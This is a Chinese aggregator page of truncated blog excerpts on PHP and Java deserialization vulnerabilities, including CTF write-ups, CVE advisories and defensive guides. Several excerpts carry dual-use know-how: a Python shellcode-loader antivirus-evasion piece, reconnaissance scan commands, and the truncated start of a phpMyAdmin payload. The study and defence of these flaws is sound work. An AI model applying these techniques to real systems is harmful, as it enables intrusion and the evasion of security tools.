发布时间:2020-05-11 序列化 问题
在学习php反序列化的漏洞时,我们在碰到__construct()魔法的函数时常会思考构造的poc会不会受到__construct()函数赋值的影响。那么我们今天来一探究竟。所以__construct()魔法函数并没有被调用,其实在仔细阅读__construct()魔法函数的使用后其实我们可以发现,它当一个对象被创建时调用,我们输入poc时也并没有创建对象,__construct()魔法函数不被调...

PHP反序列化—构造POP链

发布时间:2020-04-03 序列化 PHP
前言:最近在刷题的时候发现这个PHP反序列化—POP链,之前理解的序列化攻击多是在魔术方法中出现一些利用的漏洞,自动调用从而触发漏洞。但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。直接通过题目来进行学习,这样更容易掌握!!!EzpopclassModifier{protected$var;publicfunctionapp...

浅析php反序列化字符串逃逸

发布时间:2020-08-26 序列化 浅析
前言:php反序列化字符串逃逸之前没有详细的学习过,所以遇到题目看的有点懵,这次好好学习一下。反序列化的特点首先要了解一下反序列化的一些特点:php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化。classA{public$name='shy';public$pass='123456';}$lemo...

html实体转化字符串 php_PHP序列化和反序列化语法差异问题

发布时间:2020-12-21 序列化 HTML
介绍官方文档中介绍PHP序列化和反序列化如下:所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。为了能够unserialize()一个对象,这个对象的类必须已经定义过。如果序列化类A的一个对象,将会返回一个跟类A相...

php 反序列化工具

发布时间:2017-03-05 序列化 PHP
调试代码,经常需要打印变量,今天写了一个简单的反序列化页面,存下来用的时候方便。<html><header><title>反序列化工具</title><style>td{line-height:30px;}</style></header><body><formname='thisform'act...

java反序列化漏洞利用工具_Java 反序列化漏洞

发布时间:2020-12-02 序列化 漏洞
序列化和反序列化序列化:将对象转换成字节序列存储(文件、内存、数据库),对应Java原生序列化的writeObject反序列化:将字节序列转换成对象,对应Java原生序列化的readObject序列化作用不同系统、进程间的数据传输(RPC、HTTP)JavaRMI、JavaBean保存信息,便于JVM启动时直接使用序列化条件该类必须实现java.io.Serializable对象该类的所有属性必须...

php5.5 反序列化利用工具_利用Python反序列化运行加载器实现免杀

发布时间:2020-11-25 序列化 PHP5.5
前言前几天在看Python的shellcode加载器,在网上找了一个,结果加载器自身就过不了火绒,测试发现是火绒对关键语句进行了识别。所以我们要想办法去掉加载器中明显的特征。原理及实现在绕过静态查杀方面,主要就是要隐藏特征,比较常见的就是各种混淆、加密,但加密后的代码到最终还是需要去执行它才行,代码执行这一个操作其实特征也是很明显的,像exec、eval、os.system、subprocess....

Phar反序列化漏洞原理

发布时间:2021-06-08 序列化 PHAR
流和包装器stream概念  我的理解,流就是各种数据源。  程序需要从某个数据源读入数据,而数据源可以是文件、内存或网络等,甚至是未曾见过的数据源,其使用的协议和编码是不相同的。  面对使用不同协议和编码的数据源,比如网络数据http://、本地数据file://等,程序需要理解什么是http://,才能交给函数等处理数据,所以创建了包装器的概念。wrapper概念  PHP对于常见的数据流,设...

反序列化漏洞详解

发布时间:2021-07-25 序列化 详解
反序列化漏洞什么是序列化和反序列化?​PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果​漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行getshell等一系列不可控的后果。​反序列化漏洞并不是PHP特有,也存在于java,python等语言中,但其原理...

PHP 现反序列化漏洞,或使 WordPress 遭远程攻击

发布时间:2018-08-21 序列化 PHP
英国安全公司Secarma的研究主管SamThomas本月在BlackHat和BSides安全会议上展示了PHP编程语言的安全漏洞,并指出该漏洞影响了所有接受用户资料的PHP应用程序和库,包括WordPress等内容管理系统(CMS),并将允许远程程序攻击。序列化(Serialization)与反序列化(Deserialization)是所有编程语言都具备的功能,序列化将对象转换为字符串,以将数据...

PiKachu靶场之PHP反序列化漏洞

发布时间:2020-02-22 序列化 PIKACHU
前言在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。序列化serialize()序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:classS{public$test="pikachu";}$s=newS();//创建一个对象serialize($s);//把这个对象进行序列化序列化后得到的结果是这个样子的:O:1:"S":...

Phpmyadmin Scripts / setup.php反序列化漏洞 WooYun-2016-199433 漏洞复现

发布时间:2021-02-27 漏洞 序列化
PhpmyadminScripts/setup.php反序列化漏洞(WooYun-2016-199433)byADummy0x00利用路线​Burpsuite抓包改包—>有回显读取文件0x01漏洞介绍phpmyadmin2.x版本中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码影响版本phpmyadmin2.x0x02漏洞复现payloadPOST/scripts/s...

浅析PHP反序列化漏洞之PHP常见魔术方法(一)

发布时间:2017-08-14 PHP 序列化
 作为一个学习web安全的菜鸟,前段时间被人问到PHP反序列化相关的问题,以前的博客中是有这样一篇反序列化漏洞的利用文章的。但是好久过去了,好多的东西已经记得不是很清楚。所以这里尽可能写一篇详细点的文章来做一下记录。 我们来参考这里:https://secure.php.net/manual/zh/language.oop5.magic.php 我们根据官方文档中的解释,一个一个来进行测试。  _...

PHP反序列化漏洞说明

发布时间:2020-01-11 序列化 PHP
PHP反序列化漏洞说明序列化PHP序列化的函数为serialize,反序列化的函数为unserialize.举个栗子:<?phpclassTest{ public$a='ThisA'; protected$b='ThisB' private$c='ThisC'; publicfunctiontest(){ return"thisisatest!"; }$test1=newTest();va...

php 序列化 反序列化 __sleep __wakeup

发布时间:2017-01-09 序列化 __
类<?php/***CreatedbyPhpStorm.*User:qxb-810*Date:2017/1/9*Time:16:48*/classStudent{private$_name;private$_sex;private$_energy;publicfunction__construct($name,$sex,$energy){$this->_name=$name;$this...

长亭php反序列化防护_长亭安服面经 && 2019.04

发布时间:2020-12-21 长亭 序列化
长亭安服面经&&2019.04暑假本来是不想实习的,安研基本上不收大二,做安服又感觉学不到太多东西,就纯给人做苦力了不值。后来学长强推了一波长亭安服,说虽然是安服,但是实习经验其实也蛮重要的,刚好长亭南京分部也建立了。就投了一发。上周面试完,感觉回答的挺糟糕的。这里记录一下吧。文章目录长亭安服面经&&2019.04自我介绍CTF中的AWDPHP版本特性PHP7.2中...

java调用lua后序列化_Redisson lua脚本踩坑----序列化

发布时间:2021-02-28 序列化 LUA
RedissonluaRedis支持使用lua脚本来执行原子操作,Redisson中也提供了RScript接口,用于执行lua脚本,并提供了实现类RedissonScript。1.API举例:RedissonScript.eval(Modemode,StringluaScript,ReturnTypereturnType,Listkeys,Object...values);在lua脚本中可以用KE...

什么是序列化,为什么要序列化。

发布时间:2016-04-18 序列化 为什么
转自:网络--(忘记从哪看到的了)整理:Bob在学习分布式计算的时候,老师上课提到序列化这个概念。当时有些懵逼,不知道什么是序列化,下来查了一下,原来在Java里面,序列化就是和Serializable接口相关的东西。以下是我从网上找到的关于,什么是序列化,为什么要序列化解释的比较好的一篇博文。====================================================...

Dubbo序列化Bug导致父子类重名属性的值丢失的解决方法

发布时间:2020-01-13 序列化 DUBBO
针对Dubbo中序列化的bug:子类和父类有重名属性时,Controller传参到Service中,子类属性的值丢失。针对这种情况,现在给出的解决办法都不太实用,经过查阅分析,问题的根源在于序列化的时候父类属性会覆盖子类的属性,导致子类属性的值丢失。所以这里的办法就是,把子类属性的值赋予父类属性。这样在序列化的时候,就算父类值覆盖子类值,子类的值也不会丢失了。//bean中,在Set方法中加入对父...

支付宝面试:什么是序列化,怎么序列化,为什么序列化,反序列化会遇到什么问题,如何解决?

发布时间:2020-10-23 序列化 支付宝
遇到这个JavaSerializable序列化这个接口,我们可能会有如下的问题什么叫序列化和反序列化作用。为啥要实现这个Serializable接口,也就是为啥要序列化serialVersionUID这个的值到底是在怎么设置的,有什么用。有的是1L,有的是一长串数字,迷惑ing。我刚刚见到这个关键字Serializable的时候,就有如上的这么些问题。在处理这个问题之前,你要先知道一个问题,这个比...

jackson 反序列化string_java-用Jackson反序列化枚举

发布时间:2020-12-19 序列化 JACKSON
java-用Jackson反序列化枚举我正在尝试并且未能对Jackson2.5.4的枚举进行反序列化,并且我不太清楚我的情况。我的输入字符串是驼峰式的,我只想映射到标准的Enum约定。@JsonFormat(shape=JsonFormat.Shape.STRING)publicenumStatus{READY("ready"),NOT_READY("notReady"),NOT_READY_AT...

长亭php反序列化防护_php反序列化

发布时间:2020-12-21 序列化 PHP
在php序列化格式(即数据在传输时防止格式类型丢失,先进行打包即序列化,完成传输后解包即反序列化)序列化函数原型:stringserialize(mixed$value)classCC{public$data;private$pass;publicfunction__construct($data,$pass){$this->data=$data;$this->pass=$pass;}...

什么是序列化

发布时间:2020-03-04 序列化 什么
什么叫序列化      序列化是一种处理对象流的机制——把内存中的Java对象转换成二进制流。       对象流化后,将对象内容保存在磁盘文件中或作为数据流进行网络传输。简单来说,序列化是将对象的状态信息转换为可以存储或传输的形式的过程。为什么需要序列化      java对象序列化后可以很方便的存储或者在网络中传输。       从服务器硬盘上把序列化的对象取出,然后通过网络传到客户端,再由客...

JAVA反序列化漏洞防护组件使用

发布时间:2019-02-19 序列化 JAVA
详情  通过给默认的java.io.ObjectInputStream添加Class名称黑名单,防止java反序列化漏洞,程序默认自带的类黑名单(JAVA反序列化黑名单类)包含目前已知的所有可以用于构造反序列化调用方法链的类名称。    引入依赖<dependency><groupId>com.jd.security.codesec</groupId><a...

vulhub-serial-php反序列化靶机实战

发布时间:2020-01-04 序列化 VULHUB
前言此漏洞环境是vulhub上的系列漏洞之一,是php反序列化漏洞,也用到了远程代码执行漏洞。复现过程环境搭建靶机下载地址https://www.vulnhub.com/entry/serial-1,349/下载好之后直接用Vmwareworkstation打开就行了存活扫描内网存活主机扫描arp-scan-l扫描到的存活主机是192.168.77.157端口扫描扫描开放的端口nmap-sV-p-...

phar反序列化学习

发布时间:2021-06-09 序列化 PHAR
phar反序列化什么是phar文件phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。PHAR(“PhpARchive”)是PHP里类似于JAR的一种打包文件。如果你使用的是PHP5.3或更高版本,那么Phar后缀文件是默认开启支持的,你不需要任何其他的安装就可以使用它。在软件中,...

php反序列化pop链

发布时间:2021-09-04 序列化 PHP
成都理工平台的一道反序列化源码如下<?phphighlight_file(__FILE__);classA{public$a;private$b;protected$c;publicfunction__construct($a,$b,$c){$this->a=$a;$this->b=$b;$this->c=$c;}protectedfunctionflag(){echofi...

php自动序列化,如何自动化挖掘 php 反序列化链 — phpunserializechain 诞生记

发布时间:2021-03-10 序列化 PHP
作者:LoRexxar'@知道创宇404实验室日期:2021年2月5日反序列化漏洞是PHP漏洞中重要的一个印象面,而反序列化漏洞的危害则需要反序列化链来界定,如何挖掘一条反序列化链,往往成为了漏洞挖掘中最浪费时间的部分。而和挖掘漏洞一样,建立在流敏感分析基础上的自动化白盒漏洞扫描技术,依赖数据流中大量的语法节点数据,通过合理的分析手段,我们就可以回溯分析挖掘漏洞,而挖掘php反序列化链也一样,只要...

PHP反序列化由浅入深,php反序列化总结(一)

发布时间:2021-03-16 序列化 PHP
一、魔术方法1、列举__wakeup()//使用unserialize时触发__sleep()//使用serialize时触发__destruct()//对象被销毁时触发__call()//在对象上下文中调用不可访问的方法时触发__callStatic()//在静态上下文中调用不可访问的方法时触发__get()//用于从不可访问的属性读取数据__set()//用于将数据写入不可访问的属性__iss...

Joomla反序列化漏洞

发布时间:2021-01-18 序列化 JOOMLA
一、介绍1.1漏洞原理  PHP5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。1.2影响版本joomla<3.4.6PHP5.6<5.6.13、PH...

php反序列化漏洞 freebuf,PHP反序列化漏洞进阶之Session反序列化漏洞

发布时间:2021-03-09 序列化 漏洞
什么是sessionsession英文翻译为"会话",两个人聊天从开始到结束就构成了一个会话。PHP里的session主要是指客户端浏览器与服务端数据交换的对话,从浏览器打开到关闭,一个最简单的会话周期PHPsession工作流程会话的工作流程很简单,当开始一个会话时,PHP会尝试从请求中查找会话ID(通常通过会话cookie),如果发现请求的Cookie、Get、Post中不存在sessioni...

序列化,反序列化技术,__sleep __wakeup __tostring __invoke()

发布时间:2019-02-12 __ 序列化
含义:序列化:就是将一个变量所代表的“内存”数据,转换为“字符串”形式并持久保存在硬盘上的一种做法。反序列化:就是将序列化之后保存在硬盘上的“字符串数据”,恢复为其原来的内存形式的变量数据的一种做法。序列化的做法:$v1=123;//这是一个变量,代表任意的内存数据$s1=serialize($v1);//将任何类型的变量数据,转换为“字符串”file_put_contents(‘要保存的目标文本...

【WEB】反序列化漏洞(更新中)

发布时间:2020-09-08 序列化 WEB
0x00前言在本文中,我们将介绍什么是不安全的反序列化,并描述它如何使网站可能遭受高强度攻击。我们将重点介绍典型方案,并使用PHP,Ruby和Java反序列化的具体示例演示一些广泛适用的技术。我们还将研究一些方法,您可以避免自己的网站中存在不安全的反序列化漏洞。0x01什么是序列化?序列化是将复杂的数据结构(例如对象及其字段)转换为“更扁平”格式的过程,该格式可以作为字节顺序流发送和接收。序列化数...

[原题复现][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)

发布时间:2020-02-27 序列化 原题
简介 原题复现: 考察知识点:SSRF、反序列化、SQL注入 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台)榆林学院内可使用信安协会内部的CTF训练平台找到此题过程分析了整体结构点击jion可以添加账号还有博客地址添加OK之后会有ifram把你的博客地址引用到当前页面jion添加的信息点击进入发现了get注入点注入进去没flag不过在data字段下发现了序列化的值/vi...

java反序列化漏洞利用工具_Apache Dubbo 反序列化漏洞

发布时间:2020-12-02 序列化 漏洞
ApacheDubbo反序列化漏洞早在2019年开发者社区就有谈到这个http协议漏洞问题,近期360灵腾安全实验室判断漏洞等级为高,利用难度低,威胁程度高。建议升级dubbo版本,避免遭受黑客攻击。漏洞描述UnsafedeserializationoccurswithinaDubboapplicationwhichhasHTTPremotingenabled.Anattackermaysubmi...

不安全的反序列化(五)

发布时间:2018-09-19 序列化 安全
WHY:分布式应用程序或那些需要在客户端或文件系统上存储状态的程序,可能正在使用对象序列化,具有公共倾听器或依赖于客户端维护状态的分布式应用程序,很可能允许对序列化数据进行篡改。这种攻击可使用于二进制格式,或基于文本的格式。1,序列化机制允许创建任意数据类型;2,有可用于将应用程序链接在一起的类,以反序列化期间或之后改变应用程序行为,或者使用非预期的内容来影响应用程序行为;3,应用程序或API接受...

Java反序列化漏洞之殇

发布时间:2018-06-21 序列化 JAVA
ref:https://xz.aliyun.com/t/2043小结:3.2.2版本之前的Apache-CommonsCollections存在该漏洞(不只该包)1.漏洞触发场景在java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景:  1)HTTP请求中的参数,cookies以及Parameters。  2)RMI协议,被广泛使用的RMI协议完全基于序列化  4...

不安全的反序列化_小猿圈浅析web安全之序列化与反序列化漏洞

发布时间:2020-12-11 序列化 浅析
对于现在的互联网产品你了解多少?有没有想过自己有一天会被黑客攻击,自己的人身财产得不到保障,不过现在web安全推出以后得到了改善,今天小猿圈web安全老师就为大家分享web安全的一个知识点,希望对于你的学习有所帮助,web安全之序列化与反序列化漏洞。1.序列化简介将原本的数据通过某种手段进行“压缩”,并且按照一定的格式存储的过程就可以称之为序列化。如:通常情况下为了前后端之间的传输方便我们将其js...

不安全的反序列化_Apache Dubbo反序列化漏洞安全风险通告(CVE201917564)

发布时间:2020-12-11 序列化 APACHE
漏洞综述关于ApacheDubboApacheDubbo是一款高性能、轻量级的开源JavaRPC框架,该框架在国内应用较为广泛,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。漏洞描述ApacheDubbo支持多种协议,官方推荐使用Dubbo协议,ApacheDubboHTTP协议中存在反序列化漏洞(CVE-2019-17564),该漏洞源于ApacheD...

反序列化漏洞

发布时间:2021-08-23 序列化 漏洞
什么是序列化将复杂的数据结构转换为可以作为有顺序的字节流发送、或者转化为更扁平的格式以方便接收。序列化使如下操作更简单:写入复杂的数据到进程间的内存、文件或者数据库发送复杂的数据,例如在网络、应用程序的不同组件之间、在API中调用复杂数据当一个对象被序列化的时候,它的状态也就成了一种“持久态”。即对象属性极其分配的值都被保留下来。什么是反序列化反序列化是将此字节流恢复为原始对象的完整功能副本的过程...

不安全的反序列化_PHP编码安全:避免反序列化漏洞

发布时间:2020-12-11 序列化 PHP
一次性付费进群,长期免费索取教程,没有付费教程。进微信群回复公众号:微信群;QQ群:460500587 教程列表 见微信公众号底部菜单|  本文底部有推荐书籍 微信公众号:计算机与网络安全ID:Computer-network反序列化漏洞也称为对象注入漏洞,即恶意攻击者利用PHP的对象序列化和反序列化进行攻击,将恶意数据注入PHP的代码中进行执行的漏洞。在PHP中使用serialize()函数可以...

A8 不安全的反序列化

发布时间:2020-02-11 序列化 A8
对反序列化的利用是有点困难,因为在不更改或调整底层可被利用代码的情况下,现成的反序列化漏洞很难被使用。这一问题包括在TOP10的行业调查中,而不是基于可量化的数据。有些工具可以被用于发现反序列化缺陷,但经常需要人工帮助来验证发现的问题。希望有关反序列化缺陷的普遍性数据将随着工具的开发而被更多的识别和解决。反序列化缺陷的影响不能被低估。他们可能导致远程代码执行攻击,这是可能发生的最严重的的攻击之一业...

不安全的反序列化_Apache Tomcat Session反序列化RCE漏洞安全通告(CVE20209484)

发布时间:2020-11-27 序列化 APACHE
漏洞综述漏洞背景ApacheTomcat是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器,是目前比较流行的Web应用服务器。近日,新华三安全攻防团队监测Apachetomcat官方发布通告修复了一个源于持久化Session的远程代码执行漏洞(CVE-2020-9484),远程攻击者在特定条件下可能利用此漏洞执行任意代码。漏洞原理当部署tomcat时配置启用了session持久化功能F...